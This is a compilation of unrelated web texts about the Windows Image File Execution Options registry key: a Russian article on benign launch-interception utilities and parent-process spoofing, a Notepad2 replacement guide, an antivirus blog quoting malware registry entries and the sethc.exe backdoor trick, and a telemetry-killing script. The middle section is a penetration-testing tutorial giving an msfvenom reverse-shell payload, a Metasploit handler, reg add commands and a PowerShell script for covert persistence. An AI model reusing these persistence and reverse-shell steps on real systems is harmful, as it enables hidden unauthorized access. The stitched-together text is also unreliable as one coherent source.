Если вы много занимаетесь отладкой приложений под Windows — вы, возможно, слышали о таком замечательном механизме, как Image File Execution Options (IFEO). Одна из предоставляемых им возможностей позволяет отлаживать приложение в условиях, более приближенных к боевым. Записав в нужное место в реестре специальный ключик, мы можем вместо программы автоматически запускать её отладчик, позволяя ему делать свои отладочные дела. Однако кто сказал, что этот механизм (фактически — перехвата запуска чего угодно) можно использовать только в подобных целях? Эта статья вовсе не об использовании вещей по назначению.
Под катом рассказ о том, как я попытался выжать побольше из этого механизма в своих добрых целях, и какие подводные камни мне встретились на пути. А у меня тут хорошие, отборные камни.
Вообще говоря, идея эта не нова. Я знаю как минимум три программы, которые используют этот механизм для не-отладочных целей: широко известные Process Explorer и Process Hacker — для замены стандартного диспетчера задач; и AkelPad — для замены блокнота. Но я решил пойти немного дальше.
Итак, что мы имеем: мы можем запустить свою программу вместо любой другой наперёд заданной, если заранее пропишем себя в реестре. Причём не особо важно кто, как, и с какими правами будет её запускать.
Что можно полезного сделать, обладая такими возможностями? Первое, что пришло мне в голову: спросить пользователя — а действительно ли он хочет, чтобы этот процесс запускался? Быстро разобравшись, как прописать себя в IFEO я смастерил крохотную утилиту с диалоговым окошком и кнопками Да/Нет, которая запускает перехваченную программу только при согласии пользователя. Сразу после запуска я осознал всю глубину своей наивности. Уже догадываетесь, что произошло при выборе «Да»? Конечно же, я снова запустил себя и получил новое окно с запросом подтверждения, и здесь можно продолжать до бесконечности. Перехват сработал отлично.
Не уверен, насколько полезным оказался бы этот механизм, если бы не было возможность его обойти: отладчику-то нужно запустить отлаживаемый процесс. Так что в Image File Execution Options есть одно исключение. Начнём с того, что в пользовательском режиме есть всего два метода запуска процессов: CreateProcess и ShellExecuteEx. Да и то, второй, в конце концов, тоже вызывает CreateProcess, но об этом позже. Так вот, исключение же это заключается в том, что запуски процессов с флагом DEBUG_PROCESS не перехватывается. Это и решает проблему с отладчиками, но, в моём случае, это также означает, что на IFEO нельзя полагаться полностью. И тем не менее, я не знаю ни одной программы (кроме отладчиков, разумеется), которые пользовались бы этим флагом. Нельзя просто поставить этот флаг и наслаждаться: понадобится дополнительный код, чтобы всё заработало.
Регистрация файла в IFEO
Если вы проследите с помощью Process Monitor’а за тем, что происходит при вызове функции CreateProcess — вы, вероятно, найдёте много чего интересного. Помимо коррекции ошибок в имени файла, о которой мы поговорим чуть позже, вы обнаружите обращение в реестр за настройками IFEO. Как это выглядит:
Если этот ключ будет найден, то также будет проверено наличие определённых полей, в том числе строкового поля Debugger. Оно-то нам и нужно. В нём хранится путь к отладчику, или, в нашем случае, к программе, запускаемой вместо данной.
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution
OptionsYourExecutable.exe]
"Debugger" = "C:Path-to-debuggerDebugger.exe"
Стоит заметить, что здесь есть свои ограничения:
- Проверяется исключительно имя исполняемого файла. Это значит — никаких масок. Нельзя просто взять, и перехватить вызов *.exe.
- Действие для всех программ с одинаковым именем исполняемого файла будет одинаковым. До тех пор, пока мы не воспользуемся ключом UseFilter. Тогда, да, можно назначать конкретный отладчик для конкретного исполняемого файла, основываясь на его полном пути. Опять же — без масок.
Подробности про UseFilter
Для использования фильтрации в ветке IFEOYourExecutable.exe надо создать DWORD поле UseFilter c ненулевым значением. В этом случае, при попытке создания процесса, он обойдёт все под-ключи в данной ветке, и в каждом из них будет сверять значение строкового поля FilterFullPath с полным путём к исполняемому файлу. При совпадении будет запущен найденный в поле Debugger исполняемый файл. Если совпадений не будет найдено — будет запущен Debugger по умолчанию (то есть тот, что использовался бы без всяких фильтров).
Замечание: любой под-ключ без поля FilterFullPath трактуется как совпадение, и все настройки берутся с него и имеют приоритет над теми, что были бы без фильтра.
Назначение стандартных действий
Изначальный смысл этой затеи для меня был в том, что, узнав про IFEO, я решил написать программу, которая предлагала бы пользователю набор типичных действий (реализованных в виде маленьких утилит), назначаемых для других программ. Это было ещё до того, как я решил написать статью, осознав, сколько тут занятных вещей можно рассказать. А потому, используем эти утилиты в качестве наглядного и практического примера для повествования. Итак, на что хватило моего воображения:
- Ask.exe — оповещает пользователя о попытке запуска и спрашивает разрешения;
- Deny.exe — отказывает в запуске. При этом может как оповещать пользователя, так и делать это молча. Очень удобно, если надо запретить винде запускать какую-нибудь телеметрию
- Elevate.exe — всегда запрашивает UAC для повышения прав до Администратора;
- Drop.exe — понижает привилегии процесса. Это просто венец творения. По смыслу аналогичен утилитам DropMyRights и PsExec с флагом -ℓ. Но в сочетании с IFEO — гораздо эффективнее;
- PowerRequest.exe — не даёт компьютеру заснуть / погасить экран до тех пор, пока программа не завершится.
Для регистрации этих действий было написано две версии представленной на скриншоте программы: GUI и консольная. Здесь и рассказывать не о чем. Просто читаем/пишем в реестр.
Как можно догадаться из заголовка, самое интересное — это как подменить чужую программу во время исполнения, и при этом ничего не сломать. Но сперва несколько очевидных, хотя и необходимых вещей. Если уж и запускать перехваченный процесс, то надо как можно лучше воспроизвести те же условия, при которых запустили нас самих. А это значит:
- Точно такая-же структура STARTUPINFO, установка флага bInheritHandles, и такая же рабочая директория;
- Ожидание завершения запускаемого процесса для получения его кода возврата и передачи по цепочке;
- И… ещё один трюк, о котором я расскажу чуть позже.
Хорошо. А как мы узнаем, что запускать-то?
Оценим возможности
Пусть в IFEO в качестве отладчика для программы A.exe прописано следующее:
"C:My-PathB.exe" /param
Если кто-то попытается создать процесс «C:FolderA.exe» с параметром -a то будет создан процесс B.exe cо следующей командной строкой:
"C:My-PathB.exe" /param "C:FolderA.exe" -a
Поскольку мы сами пишем код для B.exe — мы без проблем разберём командную строку на составляющие части и вполне можем запустить A.exe с теми же параметрами, с каким его хотел запустить этот безымянный кто-то. Здесь-то у нас и появляется полноценная свобода. Хотим — запускаем с другими привилегиями, захотим — сможем и передаваемые параметры поменять.
Любопытно во всём этом вот что: как, по-вашему, реагирует на столь вольное обращение контроль учётных записей? Правильный ответ: а никак. Если в проводнике выбрать «Запуск от имени Администратора» на файле A.exe, то в сообщении UAC будет показываться информация именно о файле A.exe, и именно его цифровая подпись будет определять цвет окна. А то, что вместо него будет запущен B.exe — это дело десятое. Нет, здесь нет особых проблем с безопасностью: запись в IFEO сама требует административных привилегий. Для нас это значит нечто иное: записав наши утилиты в IFEO мы вообще не будем смущать пользователя неверными сообщениями контроля учётных записей. Ведь с его точки зрения — так оно и должно выглядеть.
Как обычно запускают процессы
С появлением контроля учётных записей в Windows Vista запуск процессов стал более сложным. Дело в том, что теперь для запуска некоторых программ вызов CreateProcess может оказаться неудачным по причине недостатка прав. В этом случае GetLastError возвращает ERROR_ELEVATION_REQUIRED. На такой случай в Windows встроено даже специальное исправление проблем с совместимостью, хотя я так и не заметил, чтобы оно хоть что-то исправляло. Современные же программы в ответ на эту ошибку должны вызывать ShellExecuteEx с действием «runas» для запроса повышения привилегий. Это значит, что типичный код создания процесса теперь выглядит так:
if not CreateProcess(…) then
else if GetLastError = ERROR_ELEVATION_REQUIRED then
ShellExecuteEx(…) // с действием "runas"
else
// обработка других ошибок
Поскольку наши утилиты должны работать всегда, они не будут требовать повышенных привилегий для запуска, а значит тот процесс, который попытается запустить A.exe (и вместо него запустит наш B.exe) никогда не получит ERROR_ELEVATION_REQUIRED. Вроде бы: и ладно, ничего страшного, мы и сами cможем запросить повышение прав для него, если потребуется. А теперь представим себе, что так и произошло. Вот запустил кто-то A.exe, вместо него запустились мы, а поскольку A.exe требователен к привилегиям — мы не можем запустить его CreateProcess’ом, а потому должны использовать ShellExecuteEx. Уже догадались? ShellExecuteEx же всегда перехватывается IFEO, там нет флага DEBUG_PROCESS, который мог бы нас спасти. В результате мы снова запустим самого себя. Правда, на этот раз у нас уже хватит привилегий использовать CreateProcess для запуска A.exe. И всё это без каких-либо видимых следов со стороны UAC! Можно мозг сломать, не правда ли? Я и сам не до конца привык к концепции «почти всеобъемлющего перехвата своих же действий».
По этой причине в утилите Elevate.exe нельзя обойтись одним лишь ShellExecuteEx’ом — мы просто не сможем обойти IFEO. В случае же Ask.exe это добавляет ещё одну проблему. Вот спросили мы пользователя, подтвердил он запуск. А затем ShellExecuteEx’ом в сочетании с IFEO мы запустили снова себя. Что, опять спрашивать будем? Пришлось добавить подавление вторичного вопроса. А ведь это невозможно сделать простым дописыванием специального параметра: куда бы мы его не дописали, мы же всё равно собираемся запускать A.exe, так что он будет неотличим от его собственных параметров. Это весьма неплохое упражнение для ума — попытаться заранее предугадать все эти сложности.
Отличие CreateProcess от ShellExecuteEx
Вы читали документацию на CreateProcess? Там есть один момент, который многие упускают, потенциально создавая некоторую уязвимость в безопасности своих приложений. Это же относится и к устаревшей функции WinExec, являющейся обёрткой над CreateProcess’ом. Два первых параметра функции определяют, что и с какими аргументами будет запускаться. Это lpApplicationName и lpCommandLine. Вот перевод куска текста из MSDN:
Параметр lpApplicationName может иметь значение NULL. Тогда имя исполняемого файла должно быть первой отделенной пробелом подстрокой в lpCommandLine. Если вы используете длинные имена файлов, которые могут содержать пробелы, воспользуйтесь кавычками для указания, где заканчивается имя файла и начинаются аргументы. В противном случае имя файла является двусмысленным.
Почему люди продолжают забывать ставить кавычки? Так ведь и так работает — в CreateProcess встроен механизм коррекции ошибок. Установим lpApplicationName в NULL и попытаемся запустить программу передав в lpCommandLine имя её исполняемого файла: C:Program FilesSub DirProgram Name. Что будет делать CreateProcess? Искать в строке то, что можно запустить, пока не найдёт, да ещё и подставляя расширение файла:
C:Program FilesSub DirProgram Name
C:Program.exe FilesSub DirProgram Name
C:Program FilesSub DirProgram Name
C:Program FilesSub.exe DirProgram Name
C:Program FilesSub DirProgram Name
C:Program FilesSub DirProgram.exe Name
C:Program FilesSub DirProgram Name
Если хотите поэкспериментировать — создайте файл C:Program.exe у себя на компьютере и посмотрите, попадётся ли какая из программ на это. У себя я поймал на этом Process Hacker (fix уже есть в ночной сборке), Punto Switcher (надо бы мне им тоже написать), и один из плагинов к Far Manager. Кстати, проводник Windows тоже знает об этой проблеме:
Возвращаясь к вопросу: а что это значит для нас? Из IFEO мы получаем именно lpCommandLine. Да, мы можем просто передать его в CreateProcess — если там и была такая проблема — она останется, здесь мы бессильны. Но также нам может понадобиться передавать его в ShellExecuteEx, а там, упс, такой коррекции ошибок нету. Там отдельно lpFile и отдельно lpParameters. Придётся самостоятельно разбирать строку по пробелам и искать имя первого существующего исполняемого файла также, как это делает CreateProcess. Супер.
А сейчас мы немного отвлечёмся и поговорим о других любопытных вещах. Я собираюсь рассказать о том, как работает одна из утилит.
Понижая привилегии
Принцип «Запускать любую программу с минимальными необходимыми ей правами» здесь, вероятно, знаком всем. Но вот что делать, если автор понравившейся вам программы об этом принципе не слышал — вопрос уже более сложный. Иногда в таких ситуациях спасают механизмы устранения проблем совместимости:
SetEnvironmentVariable('__COMPAT_LAYER', 'RunAsInvoker');
Это заметно снижает число случаев, когда CreateProcess не сможет запустить программу и вернёт ERROR_ELEVATION_REQUIRED. Но это работает не всегда. Например, над этим методом имеют приоритет *.sdb патчи.
Ещё есть специальные утилиты, которые умеют запускать процессы с Elevated-токеном (т.е. как-бы от имени администратора), но при этом вырезают все соответствующие привилегии. Это DropMyRights, написанная Майклом Ховардом из Microsoft, и PsExec из широко известного комплекта Microsoft Sysinternals, запускаемая с ключом -ℓ. Как ни странно, но эти утилиты добиваются своего разными путями.
Мне больше по душе оказался метод, используемый в DropMyRights. Да и исходники у него открытые. Используется там Windows Safer API, который позволяет буквально в несколько строк кода вычислять токен с урезанными привилегиями, который можно сразу использовать в CreateProcessAsUser. Эх, хотел бы я, чтобы все писатели инсталляторов знали, как это просто, и не запускали программы с максимальными правами по окончании установки…
А теперь объединим оба упомянутых подхода, совместив их с IFEO. В результате получаем автоматическое понижение прав и минимум запросов к контролю учётных записей. Не знаю как вам, но мне это очень нравиться. А поскольку повышение прав путём вызова ShellExecuteEx’а перехватывается всегда, то, насколько я понимаю, у программы, находящейся под действием нашей утилиты, нет шансов самостоятельно выбраться до тех пор, пока пользователь не подтвердит UAC для другого исполняемого файла, находящегося в кооперации с ограничиваемым. Но для действительно серьёзных случаев — пользуйтесь песочницами вроде Sandboxie. Или виртуальными машинами, если на то пошло.
Обход IFEO
Возвратимся к основной теме. Я вот всё говорю, мол, запустим процесс с флагом DEBUG_PROCESS и будет нам счастье, на свои грабли сами не попадёмся. Но для того, чтобы всё заработало, необходимо сделать ещё кое-что. С этим флагом мы запустим процесс под отладкой, а значит, нам будут приходить отладочные события. Если их не обработать — процесс так и останется висеть неподвижно. Для их обработки понадобятся всего две функции: WaitForDebugEvent и ContinueDebugEvent.
Однако не все программы нормально относятся к отладчикам, верно? Не то, чтобы я специально делал исключение ради вирусов, но отсоединение отладчика действительно будет лучшей идеей. Мы ведь здесь не ради написания отладчика собрались. А вот тут, неожиданно, наступает сложность: это действие, вероятно, относится к недокументированным возможностям, ибо на MSDN я его не нашёл. А потому будем пользоваться документацией Process Hacker’a. Итак, нам потребуется функция NtRemoveProcessDebug из ntdll.dll. Ей же нужен DebugObjectHandle, который можно получить с помощью NtQueryInformationProcess, запросив у неё ProcessDebugObjectHandle = 30 в качестве ProcessInformationClass. Вот и всё. Хотя… Лучше не делайте так с чужими процессами: их отладчик может в этот момент ждать отладочное событие, а для них самих может быть включён kill-on-close.
UPD.
Я был неправ, и потому пошёл более сложным путём. Документированная функция для этого есть, это DebugActiveProcessStop. Вместе с ней рекомендуется использовать DebugSetProcessKillOnExit.
Стоит заметить, что здесь имеется особенность, связанная с разрядностью операционной системы: 32-битный процесс не может запускать 64-битный процесс с флагом DEBUG_PROCESS. Зато 64-битный может запускать кого угодно.
Ах да, вы ещё помните? Выше я обещал рассказать про ещё один трюк, позволяющий добиться чуть лучшей совместимости при последующем запуске перехватываемых процессов.
Магия контроля учётных записей
Я уже говорил, что контроль учётных записей вообще никак не реагирует на происходящее. И если вы ещё тогда задались вопросом «А почему?», то вам точно сюда.
Как работает UAC и каким образом позволяет повышать привилегии? Хорошо ответ на этот вопрос дан в англоязычной статье Vista UAC: The Definitive Guide. Если коротко: ShellExecuteEx, пробиваясь через дебри вызовов COM, обращается к сервису AppInfo. Тот создаёт процесс consent.exe, который и выводит то окно с предложением подтвердить запуск, и, при необходимости, ввести пароль. Само создание процесса, естественно, происходит уже после всего этого. И используется там самый обычный CreateProcessAsUser. Именно на этом этапе срабатывает IFEO, и, перехватывая создание процесса, запускает нас. Именно поэтому контроль учётных записей ничего об этом не знает.
Самые догадливые уже должны были задаться вопросом: если процесс создаётся кем-то другим, то как получается, что его родительским процессом всё равно оказывается инициатор запроса?
Начиная с Windows Vista в CreateProcess вместо STARTUPINFO можно подсунуть STARTUPINFOEX (если воспользоваться флагом EXTENDED_STARTUPINFO_PRESENT). Он содержит всю ту же информацию + lpAttributeList со списком атрибутов процесса. Этот список атрибутов надо создать, вызвав InitializeProcThreadAttributeList, а затем обновить средствами UpdateProcThreadAttribute. Подменить родительский процесс можно, указав флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS и предоставив дескриптор нужного процесса. О чём тут стоит помнить:
- Дескриптор процесса, которого мы делаем новым родителем, должен иметь права PROCESS_CREATE_PROCESS и жить вплоть до вызова DeleteProcThreadAttributeList;
- Следует установить значение поля cb вложенного STARTUPINFO в SizeOf(STARTUPINFOEX).
Готовый пример на C# есть на StackOverflow.
Часто ли вы при анализе, например, подозрительной активности на компьютере исходите из того, кто какой процесс запустил? О, теперь вы точно не станете так делать.
Тут есть некоторые любопытные особенности. Мне вспоминается шутливая фраза из одного мультика, звучит она примерно так: «да что там, даже при моём рождении не присутствовал ни один из моих родителей…». Как ни странно, но здесь возможно нечто подобное. Если между вызовом OpenProcess’a и самим созданием процесса назначаемый родитель будет завершён — не беда. Просто дочерний процесс будет «как бы» создан родителем после своего завершения. Почему бы и нет.
Всё бы хорошо, но этот трюк не сработает с ShellExecuteEx’ом — там всё просто: кто вызвал, тот и родитель. Однако поскольку у нас включён IFEO — финальное слово всегда остаётся за CreateProcess’ом: без него мы не выберемся из перехвата. Так что, пройдясь по цепочке процессов можно найти того, кто всё это затеял изначально, и назначить его родителем. Возможно, результат теперь не так красиво выглядит в Process Explorer’е и Process Hacker’е, зато с точки зрения чужого процесса всё будет в порядке. Ну, за исключением, разве что, «внебрачных» детей, которые появились при запуске и ожидают кода возврата перехваченного процесса. Тут уж ничего не поделать.
На картинке схема того, как я из Far.exe запускаю nsx.exe, на который назначено действие Ask.exe, и которому для запуска требуются повышенные привилегии.
Если честно, я думал, что идея с подменой родительского процесса — просто ещё одна прикольная возможность, не больше. Однако она действительно исправила несколько проблем. Так, тот же Far Manager может создавать второй процесс для выполнения более привилегированных действий, а при наличии перехвата эта функциональность ломалась. Подмена же родителя вновь починила это.
Чего делать не стоит
Я довольно долго не решался проверить это у себя на компьютере, ибо разворачивать виртуальную машину было лень: что будет, если в качестве запускаемой при перехвате программы установить её же саму? К счастью, ничего страшного. Но дальше я решил проявить благоразумие и не стал у себя на компьютере проверять гипотезы вроде «ой, а если попробовать создать цикл A → B → A…». Также, думаю, не стоит пытался устанавливать перехват важных системных процессов (я встроил их список в утилиту регистрации с подтверждением действия). Хотя, мне и любопытно, что произойдёт. Ибо всё, что я запускал от имени SYSTEM перехватывалось. Так что я добавил подавление всех диалоговых окон в нулевой сессии, ну, чтобы не зависеть в подобных случаях от сервиса UI0Detect.
И последнее: я не рекомендовал бы ставить действия на программы, создающие много однотипных процессов. Одно дело — пара дополнительных процессов, другое — целые полчища. Также не стоит трогать группы процессов, активно взаимодействующих друг с другом. И тех, что используют сложные дополнительные защитные механизмы. В общем, вы поняли: на chrome.exe лучше ничего не назначать. Если обнаружите проблемы совместимости: пишите мне или сразу в исходники на Гитхаб. В программу встроен список подобных проблем для предостережения пользователей.
Нерешённые проблемы
В Windows сосуществуют сразу несколько подсистем для исполняемых файлов. Три самых известных это Native (драйвера), Windows CUI (консольные приложения), и Windows GUI (графические приложения). Поскольку драйвера нас сейчас совершенно не интересуют — нам надо разобраться в различиях между вторым и третьим вариантом, и выбрать как компилировать наши утилиты. Вот здесь и начинаются проблемы — как мы хотим: красиво или удобно? Различия между этими подсистемами не столь велики, поскольку консольное приложение может создавать окна, а графическое — консоль. Да и то, GUI даже не всегда означает взаимодействие с пользователем: фоновые сервисы запускаются в svchost.exe, который работает в подсистеме Windows GUI.
Для нас существенным отличием являются начальные условия при запуске. За исключением особых случаев, приложения из консольной подсистемы при старте уже имеют консоль, притом видимую. Даже если первым делом при старте программы мы её спрячем, то она успеет появиться перед исчезновением. Хотим ли мы пугать неискушённого пользователя такими вещами? Наверное, нет. Я надеялся, что в исправлениях совместимости из Application Compatibility Toolkit найдётся что-то, что сможет исправить эту проблему, но, судя по всему, там нет функции «спрятать консоль по умолчанию». А потому, для себя я выбрал графическую подсистему. Всё бы хорошо, но у неё есть заметный минус. Если вы активно пользуетесь приложениями из консольной подсистемы, то сразу обратите внимание: все консольные программы, на которые назначено какое-либо стандартное действие, создают новую консоль, а не пользуются имеющейся. Это не критично, хотя и не всегда приятно. Если вам вдруг захочется сделать другой выбор в этом вопросе, а Delphi под рукой нет — просто пропатчите нужные файлы, отвечающие за стандартные действия: замените 02 на 03 по смещению 0x15C.
Заключение
Я надеюсь, что этот «экскурс в 1001 любопытный факт о работе Windows» оказался действительно любопытным и даже полезным. Я знаю, не все здесь жалуют Delphi, но уж с почти чистым WinApi, холиваров, надеюсь, не возникнет.
Код получившихся программ и бинарники доступны на Гитхабе. Программа тестировалась на Windows 7 и выше, про Windows Vista — без понятия. Ниже — однозначно нет.
P. S. Если у вас сложилось мнение, что в каком-то вопросе я основательно заблуждаюсь — не кидайтесь помидорами сразу, давайте сперва разрешим это недоразумение, и исправим неточности в статье. Спасибо.
Image File Execution Options is a Windows registry key which enables developers to attach a debugger to an application and to enable “GlobalFlag” for application debugging. This behavior of Windows opens the door for persistence since an arbitrary executable can be used as a debugger of a specific process or as a “MonitorProcess“. In both scenarios code execution will achieved and the trigger will be either the creation of a process or the exit of an application. However it should be noted that the implementation of this technique requires Administrator level privileges as the registry location which the keys needs to be added is under:
- HKEY_LOCAL_MACHINE
GlobalFlag
Oddvar Moe discussed first in his blog the persistence technique via GlobalFlag. The implementation of this technique requires the creation of three registry keys and an arbitrary payload that will be executed upon a specific event (notepad application is closed). Metasploit utility “msfvenom” can be used to generate the malicious payload.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
The “handler” Metasploit module needs to be configured in order to capture the payload that will executed on the target system.
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.1 set LPORT 4444 exploit
Executing the following commands as an Administrator user will create the necessary registry keys to implement the persistence technique via “GlobalFlag”.
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /d "C:temppentestlab.exe"
The hexadecimal value 0x200 in the “GlobalFlag” registry key enables the silent exit monitoring for the notepad process.
The ReportingMode registry key enables the Windows Error Reporting process (WerFault.exe) which will be the parent process of the “MonitorProcess” pentestlab.exe.
When the notepad process is killed (user has closed the notepad application) the payload will be executed and the communication will establish with the command and control.
This will cause the system to create a new process called “WerFault.exe” which is used for tracking errors related to operating system, Windows features and applications. The payload will be launched as a child process of Windows Error Reporting (WerFault.exe).
Debugger
Attaching a debugger into the notepad process is trivial and only requires the creation of a registry key and the malicious payload to be stored in “System32“.
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v Debugger /d "pentestlab.exe"
Executing the above command from an elevated command prompt will create the registry key “Debugger“. The value of this key defines the executable that will be attached to the notepad process which is going to be an arbitrary payload.
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe
When the notepad process (notepad.exe) is launched this will cause the arbitrary payload to be executed and a Meterpreter session will open.
The Debugger registry key will create a new process on the system.
PowerShell
These two persistence techniques can be automated through the following PowerShell script. The official Gist can be found here. The script has two functions and will create the registry keys required per each technique automatically.
<# ImageFileExecutionOptions v1.0 License: GPLv3 Author: @netbiosX #> # Image File Execution Options Injection Persistence Technique function Persist-Debugger { $Registry = 'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersion' Push-Location Set-Location $Registry if(Test-Path "$RegistryImage File Execution Optionsnotepad.exe"){ Write-Verbose 'Key Already Exists' -Verbose }else{ New-Item -Path "$RegistryImage File Execution Options" -Name 'notepad.exe' $GetRegKey = 'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe' $GetIFEO = Get-Item -Path "$GetRegKey" $Payload = 'pentestlab.exe' $GetIFEO | Set-ItemProperty -Name Debugger -Value $Payload } } function Persist-GlobalFlags { $Registry = 'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersion' Push-Location Set-Location $Registry if(Test-Path "$RegistrySilentProcessExit"){ Write-Verbose 'Key Already Exists' -Verbose }else{ New-Item -Path "$Registry" -Name 'SilentProcessExit' New-Item -Path "$RegistrySilentProcessExit" -Name 'notepad.exe' New-Item -Path "$RegistryImage File Execution Options" -Name 'notepad.exe' $GetRegKey = 'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe' $GetReg = 'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe' $GetIFEO = Get-Item -Path "$GetRegKey" $GetIF = Get-Item -Path "$GetReg" $Payload = 'C:temppentestlab.exe' $GetIFEO | New-ItemProperty -Name MonitorProcess -Value $Payload $GetIFEO | New-ItemProperty -Name ReportingMode -Value 1 -PropertyType "DWORD" $GetIF | New-ItemProperty -Name GlobalFlag -Value 512 -PropertyType "DWORD" } }
Executing the following commands will import the module and the function “Persist-Debugger” can be utilized to implement the technique. By default the notepad.exe process is used and the payload needs to be stored in: “C:WindowsSystem32“.
Import-Module .ImageFileExecutionOptions.ps1 Persist-Debugger
Similarly to the method above the “Persist-GlobalFlags” function will create the two registry hives and will populate them with the required registry keys to perform persistence via the GlobalFlag.
Import-Module .ImageFileExecutionOptions.ps1 Persist-GlobalFlags
References
- https://attack.mitre.org/techniques/T1183/
- https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79
- https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
- https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
- https://wikileaks.org/ciav7p1/cms/page_2621770.html
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
- http://blogs.microsoft.co.il/pavely/2016/04/09/code-injection-with-image-file-execution-options-2/
From Here
Replacing Windows Notepad with Notepad2 4.1.24 (or newer)
As of version 4.1.24, the official release of Notepad2 supports this method for replacing Windows Notepad, so the steps outlined above will work fine. However, there’s no support to perform the Notepad replacement automatically, as the official release of Notepad2 will not modify the system registry. For the same reason, there’s no support for accessing recent files through the Windows 7 jump lists, by default (this requires registration of applications in the system registry, first).
Also be aware that automated Notepad replacement could have undesirable effects if Notepad2 was used as a Notepad replacement from a portable device, and the original state was not restored when disconnecting the device.
A batch script to run from the Notepad2 directory and replace Windows Notepad might look like this (requires elevated privileges):
reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v "Debugger" /t REG_SZ /d ""%~dp0Notepad2.exe" /z" /f
The Windows Notepad can be restored with this command (requires elevated privileges):
reg delete "HKLMSoftwareMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /f
Verify the result by opening Regedit and looking at [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe]
. The Debugger key should contain the full path to notepad2.exe and include the trailing /z
, e.g.:
c:localbinNotepad2.exe /z
Быстро, тихо и надежно
Прочитали: 16011
Комментариев: 52
Рейтинг: 73
4 декабря 2019
Начнем с маленького трюка. Вам наверняка знакомы запросы операционной системы на предмет того, какую программу использовать для запуска тех или иных типов файлов. Ассоциации – удобная вещь: программы по умолчанию можно менять на лету и даже в зависимости от каких-то условий. Но то же самое могут проделать и хакеры!
В реестре операционной системы Windows есть ключ HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
. Он позволяет назначать программам отладчики, которые будут автоматически запускаться при старте самой программы. Например, если в реестре Windows создать ключ HKEY_LOCAL_MACHINE SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsххх.exe
, а в нем – строковый параметр со значением "Debugger"="C:yyy.exe"
, то при попытке запуска файла xxx.exe
вместо него будет запущен файл yyy.exe
. Ну а yyy.exe
, выполнив свою работу, запустит xxx.exe
.
Хотите вместо диспетчера задач запустить калькулятор?
Прописываем в HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionstaskmgr.exe
строковый (REG_SZ
) параметр Debugger со значением «C:WindowsSystem32calc.exe
«
Так же поступают и вредоносные программы. Беглый поиск сразу выдает пример:
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
[<HKLM>SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsDefender.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionswinmgmnt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionshostdl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionswinmgmnt] 'debugger' = 'fixmapi.exe'
Источник
Или так:
Затем перезагружаем систему и на экране входа в Windows пять раз нажимаем клавишу SHIFT, в результате чего запускается окно командной строки, которым мы заменили программу sethc.exe. Вся прелесть в том, что командная строка запускается с правами SYSTEM, тем самым мы получаем полный доступ к компьютеру и можем запустить что угодно, хоть оболочку Explorer!
Источник
#Windows #антивирус #безопасность
Антивирусная правДА! рекомендует
Естественно, совершить подобное действие вредоносная программа может только при отключенном антивирусе. Как видите, для внесения изменений в систему нужно совсем немного времени. Вредоносное ПО успеет это сделать, даже если вы отключили антивирус «всего на секундочку». Вот почему антивирус отключать нельзя. Даже на старте системы, когда так хочется все ускорить!
Оцените выпуск Чтобы проголосовать зайдите в аккаунт на сайте или создайте его, если аккаунта еще нет. |
Сделайте репост |
Необходимо войти на страницу выпуска через аккаунт на сайте «Доктор Веб» (или создать аккаунт). Аккаунт должен быть связан с вашим аккаунтом в социальной сети. Видео о связывании аккаунта.
Sometimes, there are processes that spinup automatically on Windows that you don’t want to run. Maybe its because you have a number of HDDs attached as data storage, and every once in a while some process starts spinning them all up. Maybe these disks are really loud, and you find it annoying that suddenly they start spinning up when you aren’t accessing them.
This is exactly the behavior I was getting from Windows Telemetry, specifically the compattelrunner.exe
file. A few years ago, I wrote a simple python script that I called «telemetrykiller.py». Here it is in all its glory:
import os
import time
while True:
# Return value when both are dead is 128, else 0.
ret = os.system("taskkill /im SearchUI.exe /im compattelrunner.exe /f")
if not ret:
print(time.asctime())
time.sleep(30)
A seriously impressive script, I know. I would then launch this script as Admin every once in a while, but it was far from automated.
I decided to revisit this problem because I was tired of launching the script, and I didn’t want a python process running all the time. There had to be a better way than polling. I searched around to see if there was some sort of Event queue I could join to see when processes are launched, but then stumbled across this registry key: HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
